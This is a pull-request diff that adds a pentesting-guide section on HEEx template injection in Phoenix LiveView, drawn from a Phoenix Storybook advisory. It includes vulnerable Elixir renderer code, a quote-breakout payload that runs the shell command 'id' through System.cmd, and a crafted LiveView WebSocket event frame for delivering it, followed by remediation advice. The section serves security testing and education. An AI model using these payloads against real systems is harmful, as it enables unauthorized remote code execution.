Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions src/pentesting-web/ssti-server-side-template-injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,44 @@ In this **wordlist** you can find **variables defined** in the environments of s
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)

### Elixir / Phoenix LiveView HEEx expression injection

Treat exposed Phoenix LiveView Storybooks, component explorers, playgrounds, and debug interfaces as server-side attack surfaces even when the ordinary HTTP page looks static. Fetch the LiveView page, inspect `/live/websocket` traffic, and trace attacker-controlled values from `handle_event/3` through conversion/rendering helpers to sinks such as `EEx.compile_string/2` and `Code.eval_quoted_with_env/3`. In the Phoenix Storybook case, the exploitable flow was `psb-assign` β†’ `handle_set_variation_assign/3` β†’ binary attribute storage β†’ generated HEEx β†’ compilation β†’ evaluation.<sup>[[10]](#references)[[11]](#references)</sup>

A dangerous renderer builds component source by interpolating an untrusted binary between quotes, then compiles and evaluates the resulting HEEx. HTML escaping performed after compilation cannot protect this earlier data-to-code boundary.<sup>[[10]](#references)[[11]](#references)</sup>

```elixir
{name, val} when is_binary(val) ->
~s|#{name}="#{val}"|

quoted = EEx.compile_string(heex,
engine: Phoenix.LiveView.TagEngine,
tag_handler: Phoenix.LiveView.HTMLEngine
)
Code.eval_quoted_with_env(quoted, [assigns: %{}], env)
```

For a generated fragment such as `<.button type="ATTACKER_VALUE" />`, the quote-breakout shape `foo" pwned={EXPRESSION} a="` closes the intended attribute, introduces a new HEEx expression attribute, and uses `a="` to consume the renderer's final quote. First use an undefined identifier as a low-impact compiler oracle; then, only in an authorized test, a fully qualified `System.cmd/2` call demonstrates impact. `elem/2` extracts stdout from `{output, exit_status}` so the injected expression returns a renderable string.<sup>[[10]](#references)[[11]](#references)</sup>

```text
# Compiler oracle
foo" pwned={aaaa} a="

# OS command execution
foo" pwned={elem(System.cmd("sh", ["-c", "id"]), 0)} a="
```

To replay a Phoenix LiveView event, request the target page or iframe first and extract its cookie, CSRF token, `data-phx-session`, `data-phx-static`, and Phoenix DOM IDs. Convert `http(s)` to `ws(s)`, join the required parent/child LiveView topics, and send the five-field Phoenix channel frame `[join_ref, msg_ref, topic, channel_event, payload]`. The following Storybook-shaped frame illustrates the nested outer `event` and inner action; the topic and IDs are deployment-specific.<sup>[[11]](#references)</sup>

```json
["3", "3", "lv:<child-dom-id>", "event", {
"type": "click", "event": "psb-assign",
"value": {"variation_id": "default", "type": "foo\" pwned={aaaa} a=\""}
}]
```

The robust fix is to keep runtime attributes as data (for example, pass an assigns map and use HEEx attribute spreading) rather than serialize them into source. Also validate variation IDs and attribute names against known values and avoid `String.to_atom/1` on client input. Remove or authenticate developer routes; merely restricting imported functions is insufficient because fully qualified calls remain available to evaluated Elixir code.<sup>[[10]](#references)</sup>

### Java

**Java - Basic injection**
Expand Down Expand Up @@ -1171,5 +1209,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
- [7] [@0xAwali - Template Engines Injection 101](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- [8] [security.humanativaspa.it - Groovy Template Engine Exploitation Notes From A Real Case Scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario)
- [9] [blog.shoebpatel.com - The Secret Parameter LFR And Potential RCE In NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps)
- [10] [PhoenixStorybook advisory - unauthenticated RCE via HEEx template injection (CVE-2026-8467)](https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-55hg-8qxv-qj4p)
- [11] [WhoAreMe - Plausible Analytics: Pre-Auth RCE, Cross-Tenant IDORs, and SSRF-to-RCE](https://whoareme.com/blog/plausible-analytics-multiple-criticals)

{{#include ../../banners/hacktricks-training.md}}